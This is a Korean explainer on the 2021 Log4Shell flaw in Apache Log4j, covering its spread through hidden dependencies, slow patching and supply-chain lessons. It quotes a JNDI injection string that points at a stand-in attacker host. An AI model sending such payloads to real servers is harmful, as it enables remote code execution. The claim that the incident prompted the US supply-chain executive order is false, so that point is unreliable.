2021년 12월, 전 세계 수백만 개의 애플리케이션과 서버에서 사용되는 보편적인 Java 로깅 라이브러리인 Apache Log4j에서 치명적인 제로데이 취약점(CVE-2021-44228, 별칭 'Log4Shell')이 발견되었다. 이 취약점은 공격자가 로그인 입력란에 '${jndi:ldap://attacker.com}'를 입력하는 것처럼 단순한 특수 제작 문자열을 전송하여 서버에서 임의 코드를 실행할 수 있게 했다.

이 취약점이 치명적이었던 이유는 Log4j가 기업용 애플리케이션, 클라우드 서비스, 게임 서버(Minecraft), IoT 기기, 정부 시스템 등 매우 광범위한 소프트웨어에 내장되어 있었기 때문이다. 많은 조직은 Log4j가 소프트웨어 스택 깊숙이 묻힌 전이적 의존성(transitive dependency)이었기 때문에 자신들이 Log4j를 실행하고 있다는 사실조차 알지 못했다.

Apache Software Foundation은 패치를 배포했지만, 교정 작업은 느리고 복잡했다. 조직들은 시스템 내 모든 Log4j 인스턴스를 식별하고, 각각을 패치하고, 수정 사항을 검증해야 했다. 이 취약점은 공개된 지 몇 시간 만에 실제로 악용되었다. 이 사건은 현대 소프트웨어 공급망의 취약성을 보여주었다. 널리 사용되는 오픈소스 라이브러리의 단일 취약점이 수백만 개의 시스템을 동시에 침해할 수 있다는 점이다.

Apache Log4j의 Log4Shell 버그는 수백만 개의 시스템을 취약하게 남겨두었고, 수십억 달러와 수 주간의 작업이 소요된 전 세계적인 패치 노력을 강제했다.

Log4j는 전이적 의존성으로서 수백만 개의 애플리케이션에 내장되어 있었고, 이를 실행하는 조직들은 종종 그 사실을 알지 못했다.

이 취약점은 지나치게 단순한 익스플로잇 문자열로 원격 코드 실행을 가능하게 했다.

조직들이 스택 내 모든 Log4j 인스턴스를 찾아 패치해야 했기 때문에 교정 작업은 느렸다.

이 취약점은 공개된 지 몇 시간 만에 실제로 악용되었다.

현대 소프트웨어 스택은 의존성의 탑이며, 대부분의 조직은 자신들의 스택에 무엇이 들어 있는지 모른다. Log4j는 모든 곳에 있었다. 문제는 '우리가 영향을 받았는가?'가 아니라 '우리가 먼저 알아낼 수 있는가?'이다.

Apache는 패치를 배포했고 해당 CVE에는 10.0의 심각도 점수가 부여되었다. 이 사건은 미국 정부가 소프트웨어 공급망 보안에 관한 행정명령을 발표하도록 촉발했고, 소프트웨어 자재 명세서(SBOM) 도입을 가속화했다. Log4j는 여전히 공급망 위험의 기준점으로 남아 있다.

근거 확인하기

출처

  1. Log4Shell — Wikipedia en.wikipedia.org
  2. Log4shell: US demands Christmas Eve deadline for hack fix — BBC News bbc.com
  3. The Log4J Vulnerability Will Haunt the Internet for Years — WIRED wired.com
  4. CISA — Apache Log4j Vulnerability Guidance (CVE-2021-44228) cisa.gov